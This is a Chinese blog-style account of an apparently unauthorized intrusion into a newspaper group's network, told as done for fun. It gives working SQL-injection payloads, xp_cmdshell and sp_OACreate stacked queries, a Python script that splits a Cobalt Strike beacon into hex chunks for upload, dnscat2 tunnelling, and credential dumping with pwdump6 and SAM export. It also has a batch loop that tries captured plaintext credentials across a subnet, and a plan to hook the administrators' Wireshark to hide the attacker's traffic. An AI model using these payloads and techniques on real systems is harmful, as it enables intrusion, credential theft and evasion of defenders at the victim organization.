實戰 | 記一次郵件系統C段引發的SQL手注和內網滲透
閑來無事,日個站玩玩。
要日,就日一波大的。日個小站就結束了也不太好意思(水文章),于是乎就在各種搜索引擎上搜了起來。
于是一家叫做 xx 報系的郵件系統吸引起了我的注意力,看樣子很好日(?),話不多說,開整!

打點
直接對 https://mail.xxxgroup.com/,直接對根域名進行一個子域名的探測,上 fofa 或者 hunter 這類東西搜一下,結果并不多,只有 44 條

但是里面的系統很有意思,


有很多這種沒有驗證碼直接登錄的站點。隨手試了試 admin/123456 這類超級超級弱口令,沒有結果,后臺掛著 xray,注入什么也掛著,都沒有什么結果。dirsearch 掃了目錄,也沒有什么結果(指不能 getshell),端口也掃了,都沒啥結果,常規的手段都試過了。供應鏈看樣子也沒什么可以打的,估計都是自己開發的
同時還有 git-lab,但是并沒有什么洞

從 hunter 上的這個域名來看,確實搜不到什么信息。雖然此時可以開始進行一個弱口令爆破,但是不急,一般我回選擇把這種有針對性的爆破放到最后做,因為這個步驟流量太大了,十分顯眼,并且我們現在也沒有合適的用戶名字典。
繼續把目光看向剛剛的搜索結果,這些結果中,我們可以發現,大多數的站點都處于
- 124.9.11.x
- 124.9.2.x
當中,我們非常有理由他們可能持有這幾個 C 段,這幾個 C 段上肯定有他們的其他資產信息,上 goby 直接在外網進行一個掃

C 段內發現了一堆 zyxel 設備和一個 outllook 的 owa,試了試 Nday,并沒有什么結果
但是額外發現了一個看上去有用的論壇系統 vBul-letin 3.7.1

并沒有什么 Nday,但是可以進行一個注冊,注冊后可以瀏覽系統已注冊的用戶名,然而看不到郵箱。
但是至少給我們的用戶名字典(如果有需要的話),增加了一些信息,然而可惜的是注冊還沒五分鐘我的賬號就被刪除并且被 T 了出來。沒截到圖,為了不打草驚蛇所以先 pass。
換個思路,直接用 hunter,對他們企業名字進行搜索

資產多了起來,但是也多了很多不想干的內容,此時,我發現了一個東西 https://insightx.xxxmembers.cloud/。

他們使用 sso 的登錄,用的是之前 xxxgroup.com 的 sso,并且根據域名,感覺像是內部使用的一個域名,并不像是對外商用的,立刻進行一波子域名搜索。上 one-forall,和 hunter 輔助查詢,只查到了另外一個域名 https://datahub.xxxmembers.cloud/。



果然,不知提供了 API,甚至提供了 SQL 語句,我嚴重懷疑這里是不是有注入,正當我興高采烈的訪問的時候。

。。。。。沒事了,但是我還是不甘心,對著目錄搜索了一通,

看到了個 login.jsp,直接對著源碼進行一個的看,看到了一堆未授權的頁面,但是都是測試頁面,繼續 pass
此時已經開始有點心灰意冷了,打開了 github,打算開始,啊傳統藝能弱口令和數據泄露,甚至看到了這東西

這不是想睡覺了正好有人給我送枕頭嗎?整直接準備拿著這份表進行爆破的時候,我發現了它


一個完全孤立于其他站點的,甚至除了圖片素材沒有其他信息有關我們目標的站。
當時我已經心灰意冷了,掛著 xray,于是乎隨手試了試 ad-min/ad-min,test/test 之類的,然后就去上了個廁所吃了個飯打了把游戲摸了會魚跑回來(?????),沒啥信息,但是我良好的習慣讓我隨手輸了 ad-min',報錯了

我:??????,再次檢查了下 xray report。沒有啥信息,其實我掛 xray 主要就是用來被動檢測 sql 的,不然我也不會掛這東西,流量太大了,但是 xray 的被動掃描 sql 注入確實好用
然而這么明顯的報錯注入沒掃描出來?就十分的神奇,直接套上 sqlmap,結果都是 time-out,換了代理 UA 啥的都不行,怪不得 xray 掃不出來。
于是乎愉快的上了 burp 中轉,終于跑起來了

但是他只拋出了 time-based 注入,甚至使用 os-shell 還沒有回顯。
一開始我以為不能堆疊注入,使用 a';select 1 where 1='a'--,是不報錯的。甚至直接繞過了登陸驗證

但是如果你再堆疊的第二行語句輸入錯誤的語法,它還是會檢查語法正確性的 a';select asdasdasd--

這時候直接進行一個基本信息的看,select @@version

我看了看這個 Windows NT 5.0 (Build 2195: Service Pack 4),人麻了,這不是 windows 2000 嗎??
再看了看這個 WEB 的 IIS 8.5,怎么也不相信一個 windows 2000 的機器能跑的動 IIS 8.5,得了,站庫分離
想著先注入密碼進后臺看看先,直接使用萬能密碼繞過,會出現沒權限的問題。
我以為是用戶名的問題,可能后續的語句驗證了用戶名?反正它給了完整 SQL 語句 select ID from ACCOUNT with (NOLOCK) wheree xxxxx
,直接用這個對它的語句進行一個用戶名的搜索 a' and 1=(select top 1 ID from ACCOUNT)--

??? 怎么還有人用 當用戶名的。繼續萬能密碼,依舊無權限。我想這可能是這個用戶沒權限,畢竟哪有人拿 當用戶名的,使用 a' and 1=(select top 1 ID from ACCOUNT where ID NOT IN (select top 1 ID from ACCOUNT))--,
接下來查出了個中文用戶名,繞過失敗,我不信邪,密碼,注!

人麻了這是什么 hash?好在這個 sql 注入把我們的密碼也編碼進去了,我隨便輸入個密碼 123456,它語句里我的密碼是

十分的規律,一眼頂針,鑒定為 ASCII 凱撒。看了一下,6 位為一個字,前面 6 為 000079 是固定不用管,直接和原本的 ascii 進行相減,知道了密碼是 ascii+42,好的,前面 000xxx 知道是什么了,后面的-xxx-xxx 又是什么呢?
看到了中文名,啊,想了下也許是 UNICODE,試了試,好的成了,沒事了。驗證通過
就是依舊沒有權限進入系統!!!!!!
我那個氣,開始直接注數據庫
首先看了下,確定數據庫確實有 DBA,使用了 os-shell,whoami 這些都沒有結果,但是,ping,dnslog 有回顯
確確實實的有回顯!!!!!!
這時候,啊,就是考慮傳馬上去了,首先先探測網絡環境,因為 sqlmap 查出來的是 time-based,所以想著可不可以用遠程下載
思考 win-dows 2000 有沒有什么東西能遠程下載,為此特地裝了個 win-dows 2000 的虛擬機
cer-tu-til 肯定是沒有的,但是有 ftp 和 hh.exe。直接運行了 hh.exe 上去,發現我服務器并沒有 web 請求,冷汗流了下來。
由于堆疊注入實在是沒有回顯,我真的很懷疑這個 dnslog 的回顯到底是不是真的。我心里此時想到了一個很可怕的 BT 防御手法

世界上怎么會有這么壞的人,氣抖冷。
然后使用 sqlmap 自帶的上傳,,上傳的速度過于捉急。經過 pow-er-shell 寫過一輪,vbs 寫過一輪,de-bug 寫過一輪。。。。
太慢了,最后還是選擇拋棄了 sqlmap。進行手注入
首先先試著看看能不能讀到回顯。
使用語句 a';drop table ccc99;create table ccc99 (dir nvarchar(4000));insert into ccc99(dir) exec master..xp_cmdshell 'whoami';--
然后用報錯注入 a' and 1=convert(int,(select top 1 * from ccc99))--,發現并沒有回顯,心灰意冷百思不得其解,于是乎我在本地試了一下 whoami,發現 win-dows 2000 并沒有 whoami 命令,啊這,得了,沒事了。
繼續,隨手執行了個 dir

ohh-h-h-h-hhh,這玩意是真的可以執行命令,啊,二話不說,打算上傳一個馬上去。
使用命令
DECLARE @DATA VARBINARY(4000);DECLARE @filepath VARCHAR(4000);set @DATA = 0xxxxxxxxset @filepath='C:\info.dll';DECLARE @ObjectToken INT;EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT;EXEC sp_OASetProperty @ObjectToken, 'Type', 1;EXEC sp_OAMethod @ObjectToken, 'Open';EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA;EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2;EXEC sp_OAMethod @ObjectToken, 'Close';EXEC sp_OADestroy @ObjectToken;SELECT @filepath--
直接試圖寫 exe 上去,此時遇到了一個坑,還得我整了好久。當用這個腳本成功寫了個 txt,并用
a';drop table resultasd;create table resultasd(res varchar(8000));bulk insert resultasd from 'c:/winnt/temp/zzz.txt';--
再用報錯注入成功讀取到 txt 的內容之后,我確信了這個 sql 上傳 沒有問題!!!! ,
不過與此同時,我確實確定了一個信息,那就是這玩意好像是不出網的,用了 ftp -s:xxx.txt 測試了一下,并沒有收到 tcp 端口請求
但是我賊心不死,想著沒準能 udp 出網呢?甚至寫了一個探針

用于探測 tcp/udp 是否出網。
然后就是轉換成 hex,愉快的上傳,上傳之前本地測試了一下,vs2022 編譯,是沒法在 win2k 運行的,nmd 怎么回事?
但是 GCC 編譯的卻可以,草,海星,沒事了。gcc 編譯就 gcc 編譯吧
一運行,沒反應。我:?,上傳成 dll,用 rundl-l32 運行,沒反應,我:??
本地 win2k 環境 rundl-l32 環境測試過的,是可以調用 dll 的
我開始懷疑是不是有奇怪的殺軟,或者牛逼的 HIPS/HIDS 攔截進程的啟動了。
此時我開始測試各種奇怪的方法,比如寫出寫出寫出 vbs 執行程序,vbs 寫 txt,,寫出 bat 執行程序
結果當然是,沒有找到 vbs 寫出的 txt,vbs 壓根沒執行成功,bat 里面放了個 ping,執行以下,dnslog 被觸發了,說明 bat 執行力成功,但是沒有成功起了我們的程序。
但是我用 cmd 執行一些系統其他的 exe 是可以的,最典型的就是之前的 ping.exe 是可以執行成功的
心里想著啥 HIPS。你媽的這么牛逼?win2k 還攔截的這么六?想要查查進程。
tasklist 一運行,沒有這個指令,啊,沒事了。
那么沒有 vbs,沒有 tasklist,該如何查看進程呢?經過 wbg 的一番提點,啊,才記起來,sqlserver 是可以調用 com 的。
最典型的就是
declare @shell int ;exec sp_oacreate 'wscript.shell',@shell output ;exec sp_oamethod @shell,'run',null,'cmd /c xxxx';--
為此,我甚至改造了個直接調用 wmi 的
declare @objWmi int,@objLocator int,@objPermiss int,@objRet int,@objFull varchar(8000)EXEC sp_OACreate 'WbemScripting.SWbemLocator.1',@objLocator OUTPUT;EXEC sp_OAMethod @objLocator,'ConnectServer',@objWmi OUTPUT,'.','root\cimv2';EXEC sp_OAMethod @objWmi,'Get',@objPermiss OUTPUT,'Win32_LogicalFileSecuritySetting.Path=''wscript.exe''';EXEC sp_OAMethod @objWmi,'Get',@objFull OUTPUT, 'Win32_SecurityDescriptor';EXEC sp_OASetProperty @objFull,'ControlFlags',4;EXEC sp_OAMethod @objPermiss,'SetSecurityDescriptor',@objRet output,@objFull;
這玩意甚至能連接遠程服務器,當然我 sqlserver 和 com 的語法不熟,純 sql 列出進程始終沒搗鼓出來,最后還是使用了 Script-Con-trol, 調用了 Jscript,再通過 Jscript 調用 wmi 列出進程寫道 txt
DECLARE @js1 int;EXEC sp_OACreate 'ScriptControl',@js1 OUT;EXEC sp_OASetProperty @js1, 'Language', 'JavaScript1.1';EXEC sp_OAMethod @js1, 'Eval', NULL, 'fso = new ActiveXObject("Scripting.FilesystemObject");wsh = new ActiveXObject("WScript.Shell");var locator=new ActiveXObject("WbemScripting.SWbemLocator");var service=locator.ConnectServer(".","root/cimv2");var colItems=service.ExecQuery("select * from Win32_Process");var e=new Enumerator(colItems);var t1=new Date().valueOf();var fso = new ActiveXObject("Scripting.FileSystemObject");var fh = fso.CreateTextFile("c:\\proc3.txt", true);for(;!e.atEnd();e.moveNext()){ var p=e.item(); fh.WriteLine(p.Caption+" "+p.Handle); if(p.Caption=="CMD.EXE"){p.terminate();} if(p.Caption=="wscript.exe"){p.terminate();} if(p.Caption=="asdfg.exe"){p.terminate();}};fh.Close();'; --
最后成功的讀出了進程列表
SystemSystem Idle ProcessSMSS.EXECSRSS.EXEWINLOGON.EXESERVICES.EXELSASS.EXEtermsrv.exesvchost.exeSmc.execcSvcHst.exespoolsv.execissesrv.exeCpqRcmc.exevcagent.exeLLSSRV.EXEsqlservr.exemstask.exeSNMP.EXERtvscan.exesysdown.exesmhstart.exehpsmhd.exevmtoolsd.exevmware-converterotatelogs.exeWinMgmt.exe
好家伙,賽門鐵克,但是問題是,根據我的了解,賽門鐵克這玩意十分的弟弟,不應該有這個效果啊,
甚至從 PY 了個 win-dows 2000 的安裝包,裝上去試了下,確實也沒有這個效果。
一籌莫展之際,此時的我都已經正在使用 vc++6.0 打算寫一個 com 組件上傳個 dll 然后讓 sqlserver 調用我這個自制的 com 來繞過這個神秘的 “HIDS” 了。
然后在本地測試的時候,我發現了個問題,我本地寫出 30kb 的文件,最后落地只有 3kb 多。然后認真檢查腳本

啊這,我上傳腳本的變量大小沒改。。。。。。。。草李萊萊,好歹你給我報個錯誤啊草草草啊啊啊啊啊啊啊
我試圖直接改成 10000000,但是 tmd,sqlserver 2000 的最大只支持 8000。俺尋思這不是好說,俺多定義幾個變量,多 write 幾下,然后就發現了

nmd 怎么還有最大限制 64kb,不過之前用 gcc 編譯的探針倒是成功上傳上去并運行了,(gcc 編譯的只有 29kb)。udp 不出網。icmp 也不出,只有 dns 出。
于是乎穿一個 cs 的 bea-con 上去,無階段的,全場 264kb,分了好幾個文件,為此還特地寫了個腳本
import sysimport binasciifrom urllib.parse import quotepath = sys.argv[1]f = open(path, "rb");binary = f.read()f.close();length = len(binary)count = int(length / 8000) + 1strs = ""i=0while (True):
if i == 0: print("chunk 0-8000") strs = strs + "SET @DATA" + str(i) + "=0x" + binascii.hexlify(binary[0:8000]).decode() + ";"
elif i * 8000 < length and (i+1) * 8000 < length : print("chunk "+str(8000*i)+"-"+str(8000*(i+1)))
strs = strs + "SET @DATA" + str(i) + "=0x" + binascii.hexlify(binary[8000 * i:8000 * (i + 1)]).decode() + ";" if i * 8000 > length: print("chunk " + str(8000 * (i-1)) + "-" + str(length)) strs = strs + "SET @DATA" + str(i) + "=0x" + binascii.hexlify(binary[8000 * (i-1):]).decode() + ";" break i += 1defines = "DECLARE @filepath VARCHAR(4000);"for i2 in range(0,i+1): defines = defines + "DECLARE @DATA"+str(i2)+" VARBINARY(8000);"
zhongjian ="set @filepath='C:\\f"+path+"';DECLARE @ObjectToken INT;EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT;EXEC sp_OASetProperty @ObjectToken, 'Type', 1;EXEC sp_OAMethod @ObjectToken, 'Open';"
writes = ""for i3 in range(0,i+1): writes = writes + "EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA"+str(i3)+";"ends="""EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2;EXEC sp_OAMethod @ObjectToken, 'Close';EXEC sp_OADestroy @ObjectToken;SELECT @filepath--"""f2 = open(path+".txt","w")f2.write(defines+strs+zhongjian+writes+ends)
之后使用 copy /b 把寫入的分塊整合成一個文件,運行。
上線了,但是又等于沒上。
本機測試,win-dows 2k 的 cs,在 checkin 之后,就直接 boom 掉了

我以為是 cs 的問題,測試了幾個版本
從 3.14,3.8.4.4,其中,要不是上線就 boom,要不是就是或者,但是不交互,總之各種運行不起來,
最后無奈,全網尋找一個能用的 wind-wos 的 dns 反彈馬,找了半天,啊,沒找到。
最后發現了 DNSCAT2 這個項目,它提供了 sln,于是乎,下載了 vs2008,經過一通修改,最終成功在 win-dows 2000 下運行成功

然后,上傳,最后,終于可算是上線了

net time 看了下,有域,甚至還是個 B 段

查了下,域內一千六百多臺機器,不過現在首要的目標,當然還是先找個能出網的,
只要有出網的機器,怎么日我都大體想好了,啊,直接進行一個 socks 的搭
然后進行一個 nopac/ze-rol-o-gon 的打
最后再進行一個域的控
或者
直接進行一個 ms17010 啊不對,ms17010 都太過了,直接 08067 都可以,把內網什么勾八 win-dows 2k xp ,2003 都給 tmd 打了
然后進行一個域管密碼的抓
最后再 nmd 進行一個域控的登。
美滋滋是不是?然而幻想是很美好的,我們還是得先打 tmd 一個出網的機器
這個破 DNS 實在是太太太太太太慢了,如何漫游呢?
答案當然先是使用 vbs,wmiexec,不過咱們得先把本機憑據抓了。
win-dows 2000 下抓憑據,用什么 mimi-aktz 是不好使的,也太大了,什么 por-c-dump 也不行,但是有一個遠古工具,pw-dump6,可以在 win-dows2000 下運行。

用這破比東西傳這 500k 的東西花了一個多小時。
成功 dump 出 hash

然后上傳 wmiexec.vbs,執行
發現了一個問題

怪不得 nmd 什么 vbs 都執行不了,原來是這個關了,想執行 reg add 修改組策略。但是 win2k 甚至連 reg.exe 都沒有
怎么解決也很簡單,本地改完導出一個 x.reg 文件,上傳上去用 regedit /s 導入 reg 文件就解決了。
原本是想直接跑的,但是,我看了下,我們的主機名叫做 WFDBP3,然后查了下,

俺尋思,他們肯定也是 sql server 服務器,甚至密碼會不會都是一樣的?
通過注入查詢到本機 sql 密碼很簡單,重點是問題是如何連接。
正當我想上 github 找 cli 工具的時候,我想,不對,這堂堂 sqlserver,目錄下應該肯定有 cli 工具吧
于是乎去目錄翻了一眼:此時一個叫做 osql.exe 的程序吸引了我注意

但是 /h 沒有任何幫助,然而 msdn 上有相關用法
osql [-?] | [-L] | [ { {-Ulogin_id [-Ppassword]} | -E } [-Sserver_name[\instance_name]] [-Hwksta_name] [-ddb_name] [-ltime_out] [-ttime_out] [-hheaders] [-scol_separator] [-wcolumn_width] [-apacket_size] [-e] [-I] [-D data_source_name] [-ccmd_end] [-q "query"] [-Q"query"] [-n] [-merror_level] [-r {0 | 1}] [-iinput_file] [-ooutput_file] [-p] [-b] [-u] [-R] [-O] ]
果不其然!!!!,直接用這個 osql 對著我們身邊同樣看似 sqlserver 的主機連接

最后成功漫游到了 WFDBP4 上,是一臺 windows xp,然而實際上并不出網。
試圖上 cs,但是結果 nmd 依舊是上線后半天不鳥我,氣死了啊啊啊啊啊啊啊
抓個密碼,如何抓?
上傳 mimi-aktz,太大了,被殺。系統自帶的 dump 工具 dump 一個 lsass,幾十 MB 更大,更不可行,最后只有用注冊表導出 sam 然后脫回來,體積最小感覺最 OK

拖出來的兩個文件,也就 5MB,但是 tmd 下載回來下了四小時。難蚌
其中 ad-min-is-tra-tor 兩臺密碼都是一樣的,理論上其他密碼也是一樣,但是 wmiexec 就是用不了,不知道為什么,非常的奇妙,倒是用了其他的用戶使用 wmiexec,使用了正確的賬號密碼才可以
而且還有一個坑,wmiexec,用 IP 連接的話是沒有回顯的,必須得用主機名連接。
不過一個一個爆破的速度實在是太慢了,寫個 bat,使用這些抓到的憑據對當前 C 段進行探測
@echo off @for /L %%n in (20, 1, 33) do ( cscript w2.vbs /cmd 10.19.21.%%n administrator wf2k22yr-jun16 whoami >> a.txt 2>&1 cscript w2.vbs /cmd 10.19.21.%%n sopadmin admin whoami >> a.txt 2>&1 cscript w2.vbs /cmd 10.19.21.%%n vista vista whoami >> a.txt 2>&1)

成功又探測到一臺服務器,而且這臺主機名是 APP,也就是說上面部署著服務,可能是 web

確實有 web,再用 vbs 腳本,請求下網頁看看有沒有暴露在外網
Set Post = CreateObject("Microsoft.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://www.baidu.com/",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode = 3aGet.Type = 1aGet.Open()aGet.Write(Post.responseBody)aGet.SaveToFile "c:\http.txt",2
看了下,并沒有,寄
第二天,使用了 minilove 抓了 2000 密碼,直接登錄域控

甚至還有域林,我們的權限甚至能訪問全網。。。
不過看了下進程,管理員 tmd 開著 wire-shark 盯著流量出口,算了算了,溜了,拿下域控就沒啥意思了,走了。
后續想要日的話,基本流程就是整一個 wirek-shark 的 HOOK,把域控上面的那個 wire-shark 給 HOOK 了,把我們的流量給隱藏掉,不然做任何操作都是會被管理員發現的。